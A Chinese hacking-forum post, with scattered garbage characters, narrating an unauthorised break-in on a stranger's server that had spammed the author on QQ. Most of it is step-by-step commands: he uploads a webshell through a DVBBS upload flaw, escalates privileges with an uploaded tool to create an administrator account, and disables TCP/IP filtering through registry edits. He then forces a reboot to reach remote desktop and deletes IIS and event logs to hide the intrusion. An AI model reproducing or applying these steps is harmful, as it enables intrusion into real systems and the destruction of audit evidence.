|
作者:晓菲 来自:http://www.wrsky.com/
* H9 _' Z5 H+ `0 b1 o; W4 H本人技术比较菜,希望各位高手看了后不要笑话。。 + q& Z* s9 P0 x* C+ f
今天下午在上网,一个QQ号接到某些人用那个QQ发言软件发来的消息,反正就是广告好了,但是也没太黄,或者太难听,就是宣传自己的主页的,一般碰到这样的情况我都爱理不理,正好看到他和我是一个地方的,我们这小山钩钩还有人会在网上发布消息,真晕哦。不行,得去看一看,我没有直接打开,(我也怕里面有网页木马),好吧,用明小子的Domain,就是那个旁注工具,一般我都喜欢先看一下,扫到一个upfile.asp,是DVBBS,很容易的上传一个马,好了,进入,我使用的是冰点的2005.asp和火狐专用版4.asp,(其实我还是比较喜欢用老兵的木马,但是不知道什么原因不能用了,555,技术菜真汗。~~~)好了,废话不说了,开工。
9 {1 Z9 Z! J4 K' Q/ b6 l& c我主要介绍一下建立管理员的过程,好,先看看能打开别的盘不能,
. i. _ s) x/ {. C2 w哇,这个服务器很好,可以浏览整个服务器里硬盘里的所有数据,而且还可以写入. A8 T4 i8 n1 E% {6 {
使用一下net user
' y. q' i7 N4 t) o返回的提示信息显示,只有默认的几个帐户,嘿,
H5 R2 Z8 E- R, ^' X+ y在试一下
u \* y" O. T. [% b1 [' J* V6 ~net user xiaofei xiaofei /add ps:建立一个xiaofei的用户名密码也是xiaofei f; s) c- M1 l7 f0 x
ASP木马没有显示,哎看来不行,我还没有试过直接可以用ASP木马建立用户名的服务器呢,(其实以前也没有成功过)
# c, @. G2 p: S3 |& _- s% S哎那就在换别的方法
# Z- _4 M1 ]- I& Z' l( U好的,看他用PCANYWHERE了吗,一般使用这个作为网站管理的比较多。
2 t, e6 _7 c: k& n( t) P找一下他的默认目录:- |# ?# G; H9 W$ h4 j& o
C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/ 1 J1 Z3 j& Z$ K$ a
哎,这个服务器也没有装,难道没有方法建立用户名了吗?9 S: g6 _2 N4 N7 L6 b8 v
在找找,在D盘里看到了SERU,忘记看版本了,想到可以用工具提权,就糊里糊涂的上传了一个工具上去,找了一个ftp.exe,ok,然后
- r7 C' U- L" m# G) X% }' tD:ftp.exe "net user xiaofei xiaofei /add"
, O+ L9 m7 i( G, v- U提示一大堆返回信息什么的,然后使用了一下net user 看到xiaofei这个用户名了,就是成功了。
9 C4 r- i/ Z d- ^$ iD:ftp.exe "net user xiaofei xiaofei /add"
7 w& X- B7 }. ~' ~# U' C继续提权,在继续输入
; [1 p. D; m3 g1 |D:ftp.exe "net localgroup administrators guest /add“: x; ]& o! W7 @* U
又成功,然后执行了一下netstat -an 看了一下,ok,3389已经开放了,不用在麻烦我去开3389了,ok,找3389终端登陆,go。, P5 ] _/ K9 A, n% o
打开终端了,但是连不上,晕忽忽。哭哟,用户名都建好了,还连不上主机,在翻了一下目录,也没看到有防火墙,使用ipconfig -all,也没有和内网连接的迹象呀,郁闷ing,不知道怎么办了。正好在冰点极限论坛看到了一篇文章,“从上传webshell到突破TCP/IP筛选到3389终端登陆”(我在下面的回帖中会放上这个帖子,帖子中有详细的介绍)其实这样的文章好多,平时其实没怎么注意的,正好现在被我看到了,哈哈运气好,希望明天买彩票也能中个500W就好了。ok。其实是服务器做了TCP,IP筛选,3389端口可能只能让某一段IP进行访问,那好吧,我们就把他删掉。
6 D# ]7 t" }$ d# PD:\ftp.exe "regedit -e D:\.1reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第一处
8 ~# W' J. O9 q4 AD:\ftp.exe "regedit -e D:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第i二处
5 A, ^: P% ^8 Y: _$ rD:\ftp.exe "regedit -e D:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第三处
/ G+ e5 Q% Z( I/ n1 @然后下载到自己的PC里,使用记事本编辑,然后ctrl+F搜索EnableSecurityFilters"=dword:00000001这个参数,把它改成EnableSecurityFilters"=dword:00000000。 把1.reg,2.reg,3.reg都改过来,然后上传回服务器路径中,我又上传到了D盘里,~好了,我们要把刚才编辑的1,2,3都导入注册表中。
# P! H! R! t% | [D:\ftp.exe "regedit -s D:\1.reg" 直接将1.reg导入到注册表中9 O4 P' b9 z. a! w w( X
另外两个也一样。
$ I4 F) R: c, y/ j- D/ j然后在执行
- b+ B9 t2 A! `3 n1 n, ~. R5 {D:\ftp.exe "iisreset /reboot /timeout:00" 利用他自身的iis服务来重新启动他的机器,/timeout:00这个参数是让他立即重新启动,也就是一小会,访问网站,已经访问不进去了,差不多几分钟后,可以访问了,直接登陆3389,输入我建立的用户名,ok了。我们的提权访问工作也做完了。最好也把日志清一下,做坏事了嘛,嘿嘿。下面是日志存放文件,在DOS下运行一下就ok了,不在需要用用别的工具咯。
8 K0 X/ \/ j$ {0 M; [' |! Gdel C:\winnt\system32\logfiles\*.*
+ ?! D0 O, ^3 Y! k" Idel C:\winnt\ssytem32\config\*.evt $ D5 |$ R/ |* e2 O' l
del C:\winnt\system32\dtclog\*.* - ]& D: S$ H6 X. ]7 {
del C:\winnt\system32\*.log
/ N+ f& `6 g+ K. j: x& Edel C:\winnt\system32\*.txt
6 k0 X" r7 [$ J! h$ y' B! H; \" N9 gdel C:\winnt\*.txt & f& J. t' f4 \- f: Q6 c! r7 Z6 [/ ]
del C:\winnt\*.log
1 x! N0 G. z6 B' ]当然人家做个服务器也不容易,大家不要对国内的机器进行破坏哦。好了,找服务器的管理员的联系方法去了,如果你要是做违法的事,小心警察叔叔第二天来敲门哦。。。* h) o2 z$ @. [5 d) I, W! J7 |8 l5 w
本人只会使用一些别人编写好的程序进行对网站的攻击,但是对基本的原理还不太了解,来到火狐希望能和大家一起学习一些基础的知识,大家来一起学习吧。
4 l# c- Y/ |& O/ |0 F7 o O 本人在申请火狐论坛的认证会员,希望管理员看在打了这么多字的份上在多考虑一下拉,好好学习,天天向上。 |